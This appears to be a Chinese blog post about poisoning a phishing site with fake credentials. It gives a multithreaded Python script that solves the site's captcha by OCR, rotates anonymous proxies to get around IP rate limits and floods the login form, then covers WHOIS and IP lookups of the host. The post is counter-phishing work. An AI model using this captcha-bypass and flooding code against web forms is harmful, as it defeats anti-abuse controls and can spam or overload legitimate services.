转载请注明出处:小锋学长生活大爆炸[xfxuezhagn.cn]
如果本文帮助到了你,欢迎[点赞、收藏、关注]哦~
目录
背景介绍
我实在是受不了了,这些垃圾钓鱼邮件天天发天天发。行,你发我也发,你这么想要,我就给你喂点数据。
分析网站
一般这种钓鱼网站做的很垃圾,很好分析。这个网站好一点点,还做了一个验证码,不过也是弟弟。
主页面是http://safe.pattino.net/index.php?rdtrx=202520191457@mail.sb.edu.cn,参数对应到页面很容易看懂是在干什么。
他有很多域名,另外的域名余下,所有逻辑相同:
- http://safe.mxshoney.net/
他的验证码是通过http://safe.pattino.net/beiw/randnum.php请求获得的。分析发现,验证码和登录的绑定,是通过cookie进行绑定。所以只需要用同一个cookie请求到验证码图片,再ocr识别,就可以用到登录上了。
随便写一条假数据进行提交,就可以看到提交表单的内容,没啥特别。
用postman随便试一下,连ip请求次数限制都没有人家更新了IP限制,不过没关系,我们可以用免费的高匿代理:免费高匿代理。
这里的返回参数,1表示提交成功,2是什么忘了,3是已经提交。
脚本编写
那就模拟提交数据吧。不过瘾?来点多线程。参考的脚本如下:
import time
import requests
import random
import string
from io import BytesIO
import ddddocr
import threading
from requests.exceptions import ProxyError, ConnectionError, Timeout, HTTPError
def generate_random_session_id(length=32):
characters = string.ascii_lowercase + string.digits
return ''.join(random.choice(characters) for _ in range(length))
def generate_random_numeric_string(length=12):
return ''.join(random.choice(string.digits) for _ in range(length))
def generate_random_email():
username_length = random.randint(5, 10)
username = ''.join(random.choice(string.ascii_lowercase + string.digits) for _ in range(username_length))
domain = random.choice(['ct', 'nu', 'cu', 'sc'])
return f"{username}@{domain}.edu.cn"
def generate_random_password(length=8):
return ''.join(random.choice(string.digits) for _ in range(length))
def post(url, yzm, headers, proxies):
url = f'{url}/save.php'
data = {
'typepage': 'cj',
'sid': '6316',
'u': generate_random_numeric_string(12),
'u2': generate_random_email(),
'p': generate_random_password(8),
'yzm': yzm
}
try:
resp = requests.post(url, headers=headers, data=data, proxies=proxies, timeout=5)
except TimeoutError as e:
return str(e), -1
except (ProxyError, ConnectionError) as e:
return str(e), -1
except Exception as e:
return str(e), None
return resp.text, resp.status_code
def ping(url):
try:
requests.head(url, timeout=5)
except TimeoutError as e:
return False
return True
def get_yzm(url, headers, proxies):
url = f"{url}/beiw/randnum.php"
try:
resp = requests.get(url, headers=headers, proxies=proxies, timeout=5)
except Exception as e:
return None
ocr_result = '9527'
if resp.status_code == 200:
image_bytes = BytesIO(resp.content)
ocr_result = ocr.classification(image_bytes.read()).strip()
return ocr_result
def get_proxy():
# 这里填免费代理给的API链接,进这里获取:https://www.xiequ.cn/index.html?317df06c
url = ''
resp = requests.get(url).text
return {'http': resp, 'https': resp}
ocr = ddddocr.DdddOcr(show_ad=False)
host = [
'http://safe.pattino.net',
'http://safe.mxshoney.net',
]
host_index = 0
def process(rank):
local_host_index = host_index
url = host[local_host_index]
proxies = get_proxy()
print(f'[{rank}] 当前代理:{proxies}')
while True:
headers = {
'Content-Type': 'application/x-www-form-urlencoded; charset=UTF-8',
'Cookie': f'PHPSESSID={generate_random_session_id()}',
'User-Agent': 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36 Edg/124.0.0.0'
}
yzm = get_yzm(url, headers, proxies)
resp, code = post(url, yzm, headers, proxies)
if code==-1 or code==503:
# local_host_index = (local_host_index + 1) % len(host)
# url = host[local_host_index]
# print(f'[{rank}] 连接出错{resp},切换链接:{url}')
proxies = get_proxy()
print(f'[{rank}] 连接出错{resp},切换代理:{proxies}')
time.sleep(1)
else:
print(f'提交结果[{code}]:{resp}')
time.sleep(0.1)
if __name__ == "__main__":
pool = []
for i in range(8):
t = threading.Thread(target=process, args=(i,), daemon=True)
t.start()
pool.append(t)
for t in pool:
t.join()
安装一下库:
pip install requests ddddocr
跑起来吧:
附:网站信息查询
多说几句。拿到这个网站,我们可以初步搜一搜他的相关信息。
比如,http://safe.pattino.net/他是一个子域名,正常来说真正的域名是pattino.net,不过发现打开直接啥也没有,
whois查一下域名信息:whois信息_whois查询-拨测
再看一下域名对应的IP。可以看到用的香港的服务器:IP/服务器-站长工具
顺便看一下IP的精准定位。厉害哦,还能检测出来这是恶意IP,很难不进我的收藏夹:IP Geolocation Lookup
看一下这个IP有哪些攻击行为:Threat Intelligence Lookup